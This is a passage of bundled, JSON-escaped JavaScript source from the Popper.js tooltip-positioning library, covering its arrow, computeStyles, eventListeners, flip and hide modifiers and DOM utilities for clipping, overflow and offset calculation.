getMainAxisFromPlacement from \"../utils/getMainAxisFromPlacement.js\";\nimport { within } from \"../utils/within.js\";\nimport mergePaddingObject from \"../utils/mergePaddingObject.js\";\nimport expandToHashMap from \"../utils/expandToHashMap.js\";\nimport { left, right, basePlacements, top, bottom } from \"../enums.js\";\nimport { isHTMLElement } from \"../dom-utils/instanceOf.js\"; // eslint-disable-next-line import/no-unused-modules\n\nvar toPaddingObject = function toPaddingObject(padding, state) {\n padding = typeof padding === 'function' ? padding(Object.assign({}, state.rects, {\n placement: state.placement\n })) : padding;\n return mergePaddingObject(typeof padding !== 'number' ? padding : expandToHashMap(padding, basePlacements));\n};\n\nfunction arrow(_ref) {\n var _state$modifiersData$;\n\n var state = _ref.state,\n name = _ref.name,\n options = _ref.options;\n var arrowElement = state.elements.arrow;\n var popperOffsets = state.modifiersData.popperOffsets;\n var basePlacement = getBasePlacement(state.placement);\n var axis = getMainAxisFromPlacement(basePlacement);\n var isVertical = [left, right].indexOf(basePlacement) >= 0;\n var len = isVertical ? 'height' : 'width';\n\n if (!arrowElement || !popperOffsets) {\n return;\n }\n\n var paddingObject = toPaddingObject(options.padding, state);\n var arrowRect = getLayoutRect(arrowElement);\n var minProp = axis === 'y' ? top : left;\n var maxProp = axis === 'y' ? bottom : right;\n var endDiff = state.rects.reference[len] + state.rects.reference[axis] - popperOffsets[axis] - state.rects.popper[len];\n var startDiff = popperOffsets[axis] - state.rects.reference[axis];\n var arrowOffsetParent = getOffsetParent(arrowElement);\n var clientSize = arrowOffsetParent ? axis === 'y' ? arrowOffsetParent.clientHeight || 0 : arrowOffsetParent.clientWidth || 0 : 0;\n var centerToReference = endDiff / 2 - startDiff / 2; // Make sure the arrow doesn't overflow the popper if the center point is\n // outside of the popper bounds\n\n var min = paddingObject[minProp];\n var max = clientSize - arrowRect[len] - paddingObject[maxProp];\n var center = clientSize / 2 - arrowRect[len] / 2 + centerToReference;\n var offset = within(min, center, max); // Prevents breaking syntax highlighting...\n\n var axisProp = axis;\n state.modifiersData[name] = (_state$modifiersData$ = {}, _state$modifiersData$[axisProp] = offset, _state$modifiersData$.centerOffset = offset - center, _state$modifiersData$);\n}\n\nfunction effect(_ref2) {\n var state = _ref2.state,\n options = _ref2.options;\n var _options$element = options.element,\n arrowElement = _options$element === void 0 ? '[data-popper-arrow]' : _options$element;\n\n if (arrowElement == null) {\n return;\n } // CSS selector\n\n\n if (typeof arrowElement === 'string') {\n arrowElement = state.elements.popper.querySelector(arrowElement);\n\n if (!arrowElement) {\n return;\n }\n }\n\n if (process.env.NODE_ENV !== \"production\") {\n if (!isHTMLElement(arrowElement)) {\n console.error(['Popper: \"arrow\" element must be an HTMLElement (not an SVGElement).', 'To use an SVG arrow, wrap it in an HTMLElement that will be used as', 'the arrow.'].join(' '));\n }\n }\n\n if (!contains(state.elements.popper, arrowElement)) {\n if (process.env.NODE_ENV !== \"production\") {\n console.error(['Popper: \"arrow\" modifier\\'s `element` must be a child of the popper', 'element.'].join(' '));\n }\n\n return;\n }\n\n state.elements.arrow = arrowElement;\n} // eslint-disable-next-line import/no-unused-modules\n\n\nexport default {\n name: 'arrow',\n enabled: true,\n phase: 'main',\n fn: arrow,\n effect: effect,\n requires: ['popperOffsets'],\n requiresIfExists: ['preventOverflow']\n};","export default function getVariation(placement) {\n return placement.split('-')[1];\n}","import { top, left, right, bottom, end } from \"../enums.js\";\nimport getOffsetParent from \"../dom-utils/getOffsetParent.js\";\nimport getWindow from \"../dom-utils/getWindow.js\";\nimport getDocumentElement from \"../dom-utils/getDocumentElement.js\";\nimport getComputedStyle from \"../dom-utils/getComputedStyle.js\";\nimport getBasePlacement from \"../utils/getBasePlacement.js\";\nimport getVariation from \"../utils/getVariation.js\";\nimport { round } from \"../utils/math.js\"; // eslint-disable-next-line import/no-unused-modules\n\nvar unsetSides = {\n top: 'auto',\n right: 'auto',\n bottom: 'auto',\n left: 'auto'\n}; // Round the offsets to the nearest suitable subpixel based on the DPR.\n// Zooming can change the DPR, but it seems to report a value that will\n// cleanly divide the values into the appropriate subpixels.\n\nfunction roundOffsetsByDPR(_ref) {\n var x = _ref.x,\n y = _ref.y;\n var win = window;\n var dpr = win.devicePixelRatio || 1;\n return {\n x: round(x * dpr) / dpr || 0,\n y: round(y * dpr) / dpr || 0\n };\n}\n\nexport function mapToStyles(_ref2) {\n var _Object$assign2;\n\n var popper = _ref2.popper,\n popperRect = _ref2.popperRect,\n placement = _ref2.placement,\n variation = _ref2.variation,\n offsets = _ref2.offsets,\n position = _ref2.position,\n gpuAcceleration = _ref2.gpuAcceleration,\n adaptive = _ref2.adaptive,\n roundOffsets = _ref2.roundOffsets,\n isFixed = _ref2.isFixed;\n var _offsets$x = offsets.x,\n x = _offsets$x === void 0 ? 0 : _offsets$x,\n _offsets$y = offsets.y,\n y = _offsets$y === void 0 ? 0 : _offsets$y;\n\n var _ref3 = typeof roundOffsets === 'function' ? roundOffsets({\n x: x,\n y: y\n }) : {\n x: x,\n y: y\n };\n\n x = _ref3.x;\n y = _ref3.y;\n var hasX = offsets.hasOwnProperty('x');\n var hasY = offsets.hasOwnProperty('y');\n var sideX = left;\n var sideY = top;\n var win = window;\n\n if (adaptive) {\n var offsetParent = getOffsetParent(popper);\n var heightProp = 'clientHeight';\n var widthProp = 'clientWidth';\n\n if (offsetParent === getWindow(popper)) {\n offsetParent = getDocumentElement(popper);\n\n if (getComputedStyle(offsetParent).position !== 'static' && position === 'absolute') {\n heightProp = 'scrollHeight';\n widthProp = 'scrollWidth';\n }\n } // $FlowFixMe[incompatible-cast]: force type refinement, we compare offsetParent with window above, but Flow doesn't detect it\n\n\n offsetParent = offsetParent;\n\n if (placement === top || (placement === left || placement === right) && variation === end) {\n sideY = bottom;\n var offsetY = isFixed && offsetParent === win && win.visualViewport ? win.visualViewport.height : // $FlowFixMe[prop-missing]\n offsetParent[heightProp];\n y -= offsetY - popperRect.height;\n y *= gpuAcceleration ? 1 : -1;\n }\n\n if (placement === left || (placement === top || placement === bottom) && variation === end) {\n sideX = right;\n var offsetX = isFixed && offsetParent === win && win.visualViewport ? win.visualViewport.width : // $FlowFixMe[prop-missing]\n offsetParent[widthProp];\n x -= offsetX - popperRect.width;\n x *= gpuAcceleration ? 1 : -1;\n }\n }\n\n var commonStyles = Object.assign({\n position: position\n }, adaptive && unsetSides);\n\n var _ref4 = roundOffsets === true ? roundOffsetsByDPR({\n x: x,\n y: y\n }) : {\n x: x,\n y: y\n };\n\n x = _ref4.x;\n y = _ref4.y;\n\n if (gpuAcceleration) {\n var _Object$assign;\n\n return Object.assign({}, commonStyles, (_Object$assign = {}, _Object$assign[sideY] = hasY ? '0' : '', _Object$assign[sideX] = hasX ? '0' : '', _Object$assign.transform = (win.devicePixelRatio || 1) <= 1 ? \"translate(\" + x + \"px, \" + y + \"px)\" : \"translate3d(\" + x + \"px, \" + y + \"px, 0)\", _Object$assign));\n }\n\n return Object.assign({}, commonStyles, (_Object$assign2 = {}, _Object$assign2[sideY] = hasY ? y + \"px\" : '', _Object$assign2[sideX] = hasX ? x + \"px\" : '', _Object$assign2.transform = '', _Object$assign2));\n}\n\nfunction computeStyles(_ref5) {\n var state = _ref5.state,\n options = _ref5.options;\n var _options$gpuAccelerat = options.gpuAcceleration,\n gpuAcceleration = _options$gpuAccelerat === void 0 ? true : _options$gpuAccelerat,\n _options$adaptive = options.adaptive,\n adaptive = _options$adaptive === void 0 ? true : _options$adaptive,\n _options$roundOffsets = options.roundOffsets,\n roundOffsets = _options$roundOffsets === void 0 ? true : _options$roundOffsets;\n\n if (process.env.NODE_ENV !== \"production\") {\n var transitionProperty = getComputedStyle(state.elements.popper).transitionProperty || '';\n\n if (adaptive && ['transform', 'top', 'right', 'bottom', 'left'].some(function (property) {\n return transitionProperty.indexOf(property) >= 0;\n })) {\n console.warn(['Popper: Detected CSS transitions on at least one of the following', 'CSS properties: \"transform\", \"top\", \"right\", \"bottom\", \"left\".', '\\n\\n', 'Disable the \"computeStyles\" modifier\\'s `adaptive` option to allow', 'for smooth transitions, or remove these properties from the CSS', 'transition declaration on the popper element if only transitioning', 'opacity or background-color for example.', '\\n\\n', 'We recommend using the popper element as a wrapper around an inner', 'element that can have any CSS property transitioned for animations.'].join(' '));\n }\n }\n\n var commonStyles = {\n placement: getBasePlacement(state.placement),\n variation: getVariation(state.placement),\n popper: state.elements.popper,\n popperRect: state.rects.popper,\n gpuAcceleration: gpuAcceleration,\n isFixed: state.options.strategy === 'fixed'\n };\n\n if (state.modifiersData.popperOffsets != null) {\n state.styles.popper = Object.assign({}, state.styles.popper, mapToStyles(Object.assign({}, commonStyles, {\n offsets: state.modifiersData.popperOffsets,\n position: state.options.strategy,\n adaptive: adaptive,\n roundOffsets: roundOffsets\n })));\n }\n\n if (state.modifiersData.arrow != null) {\n state.styles.arrow = Object.assign({}, state.styles.arrow, mapToStyles(Object.assign({}, commonStyles, {\n offsets: state.modifiersData.arrow,\n position: 'absolute',\n adaptive: false,\n roundOffsets: roundOffsets\n })));\n }\n\n state.attributes.popper = Object.assign({}, state.attributes.popper, {\n 'data-popper-placement': state.placement\n });\n} // eslint-disable-next-line import/no-unused-modules\n\n\nexport default {\n name: 'computeStyles',\n enabled: true,\n phase: 'beforeWrite',\n fn: computeStyles,\n data: {}\n};","import getWindow from \"../dom-utils/getWindow.js\"; // eslint-disable-next-line import/no-unused-modules\n\nvar passive = {\n passive: true\n};\n\nfunction effect(_ref) {\n var state = _ref.state,\n instance = _ref.instance,\n options = _ref.options;\n var _options$scroll = options.scroll,\n scroll = _options$scroll === void 0 ? true : _options$scroll,\n _options$resize = options.resize,\n resize = _options$resize === void 0 ? true : _options$resize;\n var window = getWindow(state.elements.popper);\n var scrollParents = [].concat(state.scrollParents.reference, state.scrollParents.popper);\n\n if (scroll) {\n scrollParents.forEach(function (scrollParent) {\n scrollParent.addEventListener('scroll', instance.update, passive);\n });\n }\n\n if (resize) {\n window.addEventListener('resize', instance.update, passive);\n }\n\n return function () {\n if (scroll) {\n scrollParents.forEach(function (scrollParent) {\n scrollParent.removeEventListener('scroll', instance.update, passive);\n });\n }\n\n if (resize) {\n window.removeEventListener('resize', instance.update, passive);\n }\n };\n} // eslint-disable-next-line import/no-unused-modules\n\n\nexport default {\n name: 'eventListeners',\n enabled: true,\n phase: 'write',\n fn: function fn() {},\n effect: effect,\n data: {}\n};","var hash = {\n left: 'right',\n right: 'left',\n bottom: 'top',\n top: 'bottom'\n};\nexport default function getOppositePlacement(placement) {\n return placement.replace(/left|right|bottom|top/g, function (matched) {\n return hash[matched];\n });\n}","var hash = {\n start: 'end',\n end: 'start'\n};\nexport default function getOppositeVariationPlacement(placement) {\n return placement.replace(/start|end/g, function (matched) {\n return hash[matched];\n });\n}","import getWindow from \"./getWindow.js\";\nexport default function getWindowScroll(node) {\n var win = getWindow(node);\n var scrollLeft = win.pageXOffset;\n var scrollTop = win.pageYOffset;\n return {\n scrollLeft: scrollLeft,\n scrollTop: scrollTop\n };\n}","import getBoundingClientRect from \"./getBoundingClientRect.js\";\nimport getDocumentElement from \"./getDocumentElement.js\";\nimport getWindowScroll from \"./getWindowScroll.js\";\nexport default function getWindowScrollBarX(element) {\n // If has a CSS width greater than the viewport, then this will be\n // incorrect for RTL.\n // Popper 1 is broken in this case and never had a bug report so let's assume\n // it's not an issue. I don't think anyone ever specifies width on \n // anyway.\n // Browsers where the left scrollbar doesn't cause an issue report `0` for\n // this (e.g. Edge 2019, IE11, Safari)\n return getBoundingClientRect(getDocumentElement(element)).left + getWindowScroll(element).scrollLeft;\n}","import getComputedStyle from \"./getComputedStyle.js\";\nexport default function isScrollParent(element) {\n // Firefox wants us to check `-x` and `-y` variations as well\n var _getComputedStyle = getComputedStyle(element),\n overflow = _getComputedStyle.overflow,\n overflowX = _getComputedStyle.overflowX,\n overflowY = _getComputedStyle.overflowY;\n\n return /auto|scroll|overlay|hidden/.test(overflow + overflowY + overflowX);\n}","import getParentNode from \"./getParentNode.js\";\nimport isScrollParent from \"./isScrollParent.js\";\nimport getNodeName from \"./getNodeName.js\";\nimport { isHTMLElement } from \"./instanceOf.js\";\nexport default function getScrollParent(node) {\n if (['html', 'body', '#document'].indexOf(getNodeName(node)) >= 0) {\n // $FlowFixMe[incompatible-return]: assume body is always available\n return node.ownerDocument.body;\n }\n\n if (isHTMLElement(node) && isScrollParent(node)) {\n return node;\n }\n\n return getScrollParent(getParentNode(node));\n}","import getScrollParent from \"./getScrollParent.js\";\nimport getParentNode from \"./getParentNode.js\";\nimport getWindow from \"./getWindow.js\";\nimport isScrollParent from \"./isScrollParent.js\";\n/*\ngiven a DOM element, return the list of all scroll parents, up the list of ancesors\nuntil we get to the top window object. This list is what we attach scroll listeners\nto, because if any of these parent elements scroll, we'll need to re-calculate the\nreference element's position.\n*/\n\nexport default function listScrollParents(element, list) {\n var _element$ownerDocumen;\n\n if (list === void 0) {\n list = [];\n }\n\n var scrollParent = getScrollParent(element);\n var isBody = scrollParent === ((_element$ownerDocumen = element.ownerDocument) == null ? void 0 : _element$ownerDocumen.body);\n var win = getWindow(scrollParent);\n var target = isBody ? [win].concat(win.visualViewport || [], isScrollParent(scrollParent) ? scrollParent : []) : scrollParent;\n var updatedList = list.concat(target);\n return isBody ? updatedList : // $FlowFixMe[incompatible-call]: isBody tells us target will be an HTMLElement here\n updatedList.concat(listScrollParents(getParentNode(target)));\n}","export default function rectToClientRect(rect) {\n return Object.assign({}, rect, {\n left: rect.x,\n top: rect.y,\n right: rect.x + rect.width,\n bottom: rect.y + rect.height\n });\n}","import { viewport } from \"../enums.js\";\nimport getViewportRect from \"./getViewportRect.js\";\nimport getDocumentRect from \"./getDocumentRect.js\";\nimport listScrollParents from \"./listScrollParents.js\";\nimport getOffsetParent from \"./getOffsetParent.js\";\nimport getDocumentElement from \"./getDocumentElement.js\";\nimport getComputedStyle from \"./getComputedStyle.js\";\nimport { isElement, isHTMLElement } from \"./instanceOf.js\";\nimport getBoundingClientRect from \"./getBoundingClientRect.js\";\nimport getParentNode from \"./getParentNode.js\";\nimport contains from \"./contains.js\";\nimport getNodeName from \"./getNodeName.js\";\nimport rectToClientRect from \"../utils/rectToClientRect.js\";\nimport { max, min } from \"../utils/math.js\";\n\nfunction getInnerBoundingClientRect(element, strategy) {\n var rect = getBoundingClientRect(element, false, strategy === 'fixed');\n rect.top = rect.top + element.clientTop;\n rect.left = rect.left + element.clientLeft;\n rect.bottom = rect.top + element.clientHeight;\n rect.right = rect.left + element.clientWidth;\n rect.width = element.clientWidth;\n rect.height = element.clientHeight;\n rect.x = rect.left;\n rect.y = rect.top;\n return rect;\n}\n\nfunction getClientRectFromMixedType(element, clippingParent, strategy) {\n return clippingParent === viewport ? rectToClientRect(getViewportRect(element, strategy)) : isElement(clippingParent) ? getInnerBoundingClientRect(clippingParent, strategy) : rectToClientRect(getDocumentRect(getDocumentElement(element)));\n} // A \"clipping parent\" is an overflowable container with the characteristic of\n// clipping (or hiding) overflowing elements with a position different from\n// `initial`\n\n\nfunction getClippingParents(element) {\n var clippingParents = listScrollParents(getParentNode(element));\n var canEscapeClipping = ['absolute', 'fixed'].indexOf(getComputedStyle(element).position) >= 0;\n var clipperElement = canEscapeClipping && isHTMLElement(element) ? getOffsetParent(element) : element;\n\n if (!isElement(clipperElement)) {\n return [];\n } // $FlowFixMe[incompatible-return]: https://github.com/facebook/flow/issues/1414\n\n\n return clippingParents.filter(function (clippingParent) {\n return isElement(clippingParent) && contains(clippingParent, clipperElement) && getNodeName(clippingParent) !== 'body';\n });\n} // Gets the maximum area that the element is visible in due to any number of\n// clipping parents\n\n\nexport default function getClippingRect(element, boundary, rootBoundary, strategy) {\n var mainClippingParents = boundary === 'clippingParents' ? getClippingParents(element) : [].concat(boundary);\n var clippingParents = [].concat(mainClippingParents, [rootBoundary]);\n var firstClippingParent = clippingParents[0];\n var clippingRect = clippingParents.reduce(function (accRect, clippingParent) {\n var rect = getClientRectFromMixedType(element, clippingParent, strategy);\n accRect.top = max(rect.top, accRect.top);\n accRect.right = min(rect.right, accRect.right);\n accRect.bottom = min(rect.bottom, accRect.bottom);\n accRect.left = max(rect.left, accRect.left);\n return accRect;\n }, getClientRectFromMixedType(element, firstClippingParent, strategy));\n clippingRect.width = clippingRect.right - clippingRect.left;\n clippingRect.height = clippingRect.bottom - clippingRect.top;\n clippingRect.x = clippingRect.left;\n clippingRect.y = clippingRect.top;\n return clippingRect;\n}","import getWindow from \"./getWindow.js\";\nimport getDocumentElement from \"./getDocumentElement.js\";\nimport getWindowScrollBarX from \"./getWindowScrollBarX.js\";\nimport isLayoutViewport from \"./isLayoutViewport.js\";\nexport default function getViewportRect(element, strategy) {\n var win = getWindow(element);\n var html = getDocumentElement(element);\n var visualViewport = win.visualViewport;\n var width = html.clientWidth;\n var height = html.clientHeight;\n var x = 0;\n var y = 0;\n\n if (visualViewport) {\n width = visualViewport.width;\n height = visualViewport.height;\n var layoutViewport = isLayoutViewport();\n\n if (layoutViewport || !layoutViewport && strategy === 'fixed') {\n x = visualViewport.offsetLeft;\n y = visualViewport.offsetTop;\n }\n }\n\n return {\n width: width,\n height: height,\n x: x + getWindowScrollBarX(element),\n y: y\n };\n}","import getDocumentElement from \"./getDocumentElement.js\";\nimport getComputedStyle from \"./getComputedStyle.js\";\nimport getWindowScrollBarX from \"./getWindowScrollBarX.js\";\nimport getWindowScroll from \"./getWindowScroll.js\";\nimport { max } from \"../utils/math.js\"; // Gets the entire size of the scrollable document area, even extending outside\n// of the `` and `` rect bounds if horizontally scrollable\n\nexport default function getDocumentRect(element) {\n var _element$ownerDocumen;\n\n var html = getDocumentElement(element);\n var winScroll = getWindowScroll(element);\n var body = (_element$ownerDocumen = element.ownerDocument) == null ? void 0 : _element$ownerDocumen.body;\n var width = max(html.scrollWidth, html.clientWidth, body ? body.scrollWidth : 0, body ? body.clientWidth : 0);\n var height = max(html.scrollHeight, html.clientHeight, body ? body.scrollHeight : 0, body ? body.clientHeight : 0);\n var x = -winScroll.scrollLeft + getWindowScrollBarX(element);\n var y = -winScroll.scrollTop;\n\n if (getComputedStyle(body || html).direction === 'rtl') {\n x += max(html.clientWidth, body ? body.clientWidth : 0) - width;\n }\n\n return {\n width: width,\n height: height,\n x: x,\n y: y\n };\n}","import getBasePlacement from \"./getBasePlacement.js\";\nimport getVariation from \"./getVariation.js\";\nimport getMainAxisFromPlacement from \"./getMainAxisFromPlacement.js\";\nimport { top, right, bottom, left, start, end } from \"../enums.js\";\nexport default function computeOffsets(_ref) {\n var reference = _ref.reference,\n element = _ref.element,\n placement = _ref.placement;\n var basePlacement = placement ? getBasePlacement(placement) : null;\n var variation = placement ? getVariation(placement) : null;\n var commonX = reference.x + reference.width / 2 - element.width / 2;\n var commonY = reference.y + reference.height / 2 - element.height / 2;\n var offsets;\n\n switch (basePlacement) {\n case top:\n offsets = {\n x: commonX,\n y: reference.y - element.height\n };\n break;\n\n case bottom:\n offsets = {\n x: commonX,\n y: reference.y + reference.height\n };\n break;\n\n case right:\n offsets = {\n x: reference.x + reference.width,\n y: commonY\n };\n break;\n\n case left:\n offsets = {\n x: reference.x - element.width,\n y: commonY\n };\n break;\n\n default:\n offsets = {\n x: reference.x,\n y: reference.y\n };\n }\n\n var mainAxis = basePlacement ? getMainAxisFromPlacement(basePlacement) : null;\n\n if (mainAxis != null) {\n var len = mainAxis === 'y' ? 'height' : 'width';\n\n switch (variation) {\n case start:\n offsets[mainAxis] = offsets[mainAxis] - (reference[len] / 2 - element[len] / 2);\n break;\n\n case end:\n offsets[mainAxis] = offsets[mainAxis] + (reference[len] / 2 - element[len] / 2);\n break;\n\n default:\n }\n }\n\n return offsets;\n}","import getClippingRect from \"../dom-utils/getClippingRect.js\";\nimport getDocumentElement from \"../dom-utils/getDocumentElement.js\";\nimport getBoundingClientRect from \"../dom-utils/getBoundingClientRect.js\";\nimport computeOffsets from \"./computeOffsets.js\";\nimport rectToClientRect from \"./rectToClientRect.js\";\nimport { clippingParents, reference, popper, bottom, top, right, basePlacements, viewport } from \"../enums.js\";\nimport { isElement } from \"../dom-utils/instanceOf.js\";\nimport mergePaddingObject from \"./mergePaddingObject.js\";\nimport expandToHashMap from \"./expandToHashMap.js\"; // eslint-disable-next-line import/no-unused-modules\n\nexport default function detectOverflow(state, options) {\n if (options === void 0) {\n options = {};\n }\n\n var _options = options,\n _options$placement = _options.placement,\n placement = _options$placement === void 0 ? state.placement : _options$placement,\n _options$strategy = _options.strategy,\n strategy = _options$strategy === void 0 ? state.strategy : _options$strategy,\n _options$boundary = _options.boundary,\n boundary = _options$boundary === void 0 ? clippingParents : _options$boundary,\n _options$rootBoundary = _options.rootBoundary,\n rootBoundary = _options$rootBoundary === void 0 ? viewport : _options$rootBoundary,\n _options$elementConte = _options.elementContext,\n elementContext = _options$elementConte === void 0 ? popper : _options$elementConte,\n _options$altBoundary = _options.altBoundary,\n altBoundary = _options$altBoundary === void 0 ? false : _options$altBoundary,\n _options$padding = _options.padding,\n padding = _options$padding === void 0 ? 0 : _options$padding;\n var paddingObject = mergePaddingObject(typeof padding !== 'number' ? padding : expandToHashMap(padding, basePlacements));\n var altContext = elementContext === popper ? reference : popper;\n var popperRect = state.rects.popper;\n var element = state.elements[altBoundary ? altContext : elementContext];\n var clippingClientRect = getClippingRect(isElement(element) ? element : element.contextElement || getDocumentElement(state.elements.popper), boundary, rootBoundary, strategy);\n var referenceClientRect = getBoundingClientRect(state.elements.reference);\n var popperOffsets = computeOffsets({\n reference: referenceClientRect,\n element: popperRect,\n strategy: 'absolute',\n placement: placement\n });\n var popperClientRect = rectToClientRect(Object.assign({}, popperRect, popperOffsets));\n var elementClientRect = elementContext === popper ? popperClientRect : referenceClientRect; // positive = overflowing the clipping rect\n // 0 or negative = within the clipping rect\n\n var overflowOffsets = {\n top: clippingClientRect.top - elementClientRect.top + paddingObject.top,\n bottom: elementClientRect.bottom - clippingClientRect.bottom + paddingObject.bottom,\n left: clippingClientRect.left - elementClientRect.left + paddingObject.left,\n right: elementClientRect.right - clippingClientRect.right + paddingObject.right\n };\n var offsetData = state.modifiersData.offset; // Offsets can be applied only to the popper element\n\n if (elementContext === popper && offsetData) {\n var offset = offsetData[placement];\n Object.keys(overflowOffsets).forEach(function (key) {\n var multiply = [right, bottom].indexOf(key) >= 0 ? 1 : -1;\n var axis = [top, bottom].indexOf(key) >= 0 ? 'y' : 'x';\n overflowOffsets[key] += offset[axis] * multiply;\n });\n }\n\n return overflowOffsets;\n}","import getVariation from \"./getVariation.js\";\nimport { variationPlacements, basePlacements, placements as allPlacements } from \"../enums.js\";\nimport detectOverflow from \"./detectOverflow.js\";\nimport getBasePlacement from \"./getBasePlacement.js\";\nexport default function computeAutoPlacement(state, options) {\n if (options === void 0) {\n options = {};\n }\n\n var _options = options,\n placement = _options.placement,\n boundary = _options.boundary,\n rootBoundary = _options.rootBoundary,\n padding = _options.padding,\n flipVariations = _options.flipVariations,\n _options$allowedAutoP = _options.allowedAutoPlacements,\n allowedAutoPlacements = _options$allowedAutoP === void 0 ? allPlacements : _options$allowedAutoP;\n var variation = getVariation(placement);\n var placements = variation ? flipVariations ? variationPlacements : variationPlacements.filter(function (placement) {\n return getVariation(placement) === variation;\n }) : basePlacements;\n var allowedPlacements = placements.filter(function (placement) {\n return allowedAutoPlacements.indexOf(placement) >= 0;\n });\n\n if (allowedPlacements.length === 0) {\n allowedPlacements = placements;\n\n if (process.env.NODE_ENV !== \"production\") {\n console.error(['Popper: The `allowedAutoPlacements` option did not allow any', 'placements. Ensure the `placement` option matches the variation', 'of the allowed placements.', 'For example, \"auto\" cannot be used to allow \"bottom-start\".', 'Use \"auto-start\" instead.'].join(' '));\n }\n } // $FlowFixMe[incompatible-type]: Flow seems to have problems with two array unions...\n\n\n var overflows = allowedPlacements.reduce(function (acc, placement) {\n acc[placement] = detectOverflow(state, {\n placement: placement,\n boundary: boundary,\n rootBoundary: rootBoundary,\n padding: padding\n })[getBasePlacement(placement)];\n return acc;\n }, {});\n return Object.keys(overflows).sort(function (a, b) {\n return overflows[a] - overflows[b];\n });\n}","import getOppositePlacement from \"../utils/getOppositePlacement.js\";\nimport getBasePlacement from \"../utils/getBasePlacement.js\";\nimport getOppositeVariationPlacement from \"../utils/getOppositeVariationPlacement.js\";\nimport detectOverflow from \"../utils/detectOverflow.js\";\nimport computeAutoPlacement from \"../utils/computeAutoPlacement.js\";\nimport { bottom, top, start, right, left, auto } from \"../enums.js\";\nimport getVariation from \"../utils/getVariation.js\"; // eslint-disable-next-line import/no-unused-modules\n\nfunction getExpandedFallbackPlacements(placement) {\n if (getBasePlacement(placement) === auto) {\n return [];\n }\n\n var oppositePlacement = getOppositePlacement(placement);\n return [getOppositeVariationPlacement(placement), oppositePlacement, getOppositeVariationPlacement(oppositePlacement)];\n}\n\nfunction flip(_ref) {\n var state = _ref.state,\n options = _ref.options,\n name = _ref.name;\n\n if (state.modifiersData[name]._skip) {\n return;\n }\n\n var _options$mainAxis = options.mainAxis,\n checkMainAxis = _options$mainAxis === void 0 ? true : _options$mainAxis,\n _options$altAxis = options.altAxis,\n checkAltAxis = _options$altAxis === void 0 ? true : _options$altAxis,\n specifiedFallbackPlacements = options.fallbackPlacements,\n padding = options.padding,\n boundary = options.boundary,\n rootBoundary = options.rootBoundary,\n altBoundary = options.altBoundary,\n _options$flipVariatio = options.flipVariations,\n flipVariations = _options$flipVariatio === void 0 ? true : _options$flipVariatio,\n allowedAutoPlacements = options.allowedAutoPlacements;\n var preferredPlacement = state.options.placement;\n var basePlacement = getBasePlacement(preferredPlacement);\n var isBasePlacement = basePlacement === preferredPlacement;\n var fallbackPlacements = specifiedFallbackPlacements || (isBasePlacement || !flipVariations ? [getOppositePlacement(preferredPlacement)] : getExpandedFallbackPlacements(preferredPlacement));\n var placements = [preferredPlacement].concat(fallbackPlacements).reduce(function (acc, placement) {\n return acc.concat(getBasePlacement(placement) === auto ? computeAutoPlacement(state, {\n placement: placement,\n boundary: boundary,\n rootBoundary: rootBoundary,\n padding: padding,\n flipVariations: flipVariations,\n allowedAutoPlacements: allowedAutoPlacements\n }) : placement);\n }, []);\n var referenceRect = state.rects.reference;\n var popperRect = state.rects.popper;\n var checksMap = new Map();\n var makeFallbackChecks = true;\n var firstFittingPlacement = placements[0];\n\n for (var i = 0; i < placements.length; i++) {\n var placement = placements[i];\n\n var _basePlacement = getBasePlacement(placement);\n\n var isStartVariation = getVariation(placement) === start;\n var isVertical = [top, bottom].indexOf(_basePlacement) >= 0;\n var len = isVertical ? 'width' : 'height';\n var overflow = detectOverflow(state, {\n placement: placement,\n boundary: boundary,\n rootBoundary: rootBoundary,\n altBoundary: altBoundary,\n padding: padding\n });\n var mainVariationSide = isVertical ? isStartVariation ? right : left : isStartVariation ? bottom : top;\n\n if (referenceRect[len] > popperRect[len]) {\n mainVariationSide = getOppositePlacement(mainVariationSide);\n }\n\n var altVariationSide = getOppositePlacement(mainVariationSide);\n var checks = [];\n\n if (checkMainAxis) {\n checks.push(overflow[_basePlacement] <= 0);\n }\n\n if (checkAltAxis) {\n checks.push(overflow[mainVariationSide] <= 0, overflow[altVariationSide] <= 0);\n }\n\n if (checks.every(function (check) {\n return check;\n })) {\n firstFittingPlacement = placement;\n makeFallbackChecks = false;\n break;\n }\n\n checksMap.set(placement, checks);\n }\n\n if (makeFallbackChecks) {\n // `2` may be desired in some cases – research later\n var numberOfChecks = flipVariations ? 3 : 1;\n\n var _loop = function _loop(_i) {\n var fittingPlacement = placements.find(function (placement) {\n var checks = checksMap.get(placement);\n\n if (checks) {\n return checks.slice(0, _i).every(function (check) {\n return check;\n });\n }\n });\n\n if (fittingPlacement) {\n firstFittingPlacement = fittingPlacement;\n return \"break\";\n }\n };\n\n for (var _i = numberOfChecks; _i > 0; _i--) {\n var _ret = _loop(_i);\n\n if (_ret === \"break\") break;\n }\n }\n\n if (state.placement !== firstFittingPlacement) {\n state.modifiersData[name]._skip = true;\n state.placement = firstFittingPlacement;\n state.reset = true;\n }\n} // eslint-disable-next-line import/no-unused-modules\n\n\nexport default {\n name: 'flip',\n enabled: true,\n phase: 'main',\n fn: flip,\n requiresIfExists: ['offset'],\n data: {\n _skip: false\n }\n};","import { top, bottom, left, right } from \"../enums.js\";\nimport detectOverflow from \"../utils/detectOverflow.js\";\n\nfunction getSideOffsets(overflow, rect, preventedOffsets) {\n if (preventedOffsets === void 0) {\n preventedOffsets = {\n x: 0,\n y: 0\n };\n }\n\n return {\n top: overflow.top - rect.height - preventedOffsets.y,\n right: overflow.right - rect.width + preventedOffsets.x,\n bottom: overflow.bottom - rect.height + preventedOffsets.y,\n left: overflow.left - rect.width - preventedOffsets.x\n };\n}\n\nfunction isAnySideFullyClipped(overflow) {\n return [top, right, bottom, left].some(function (side) {\n return overflow[side] >= 0;\n });\n}\n\nfunction hide(_ref) {\n var state = _ref.state,\n name = _ref.name;\n var referenceRect = state.rects.reference;\n var popperRect = state.rects.popper;\n var preventedOffsets = state.modifiersData.preventOverflow;\n var referenceOverflow = detectOverflow(state, {\n elementContext: 'reference'\n });\n var popperAltOverflow = detectOverflow(state, {\n altBoundary: true\n });\n var referenceClippingOffsets = getSideOffsets(referenceOverflow, referenceRect);\n var popperEscapeOffsets = getSideOffsets(popperAltOverflow, popperRect, preventedOffsets);\n var isReferenceHidden = isAnySideFullyClipped(referenceClippingOffsets);\n var hasPopperEscaped = isAnySideFullyClipped(popperEscapeOffsets);\n state.modifiersData[name] = {\n referenceClippingOffsets: referenceClippingOffsets,\n popperEscapeOffsets: popperEscapeOffsets,\n isReferenceHidden: isReferenceHidden,\n hasPopperEscaped: hasPopperEscaped\n };\n state.attributes.popper = Object.assign({}, 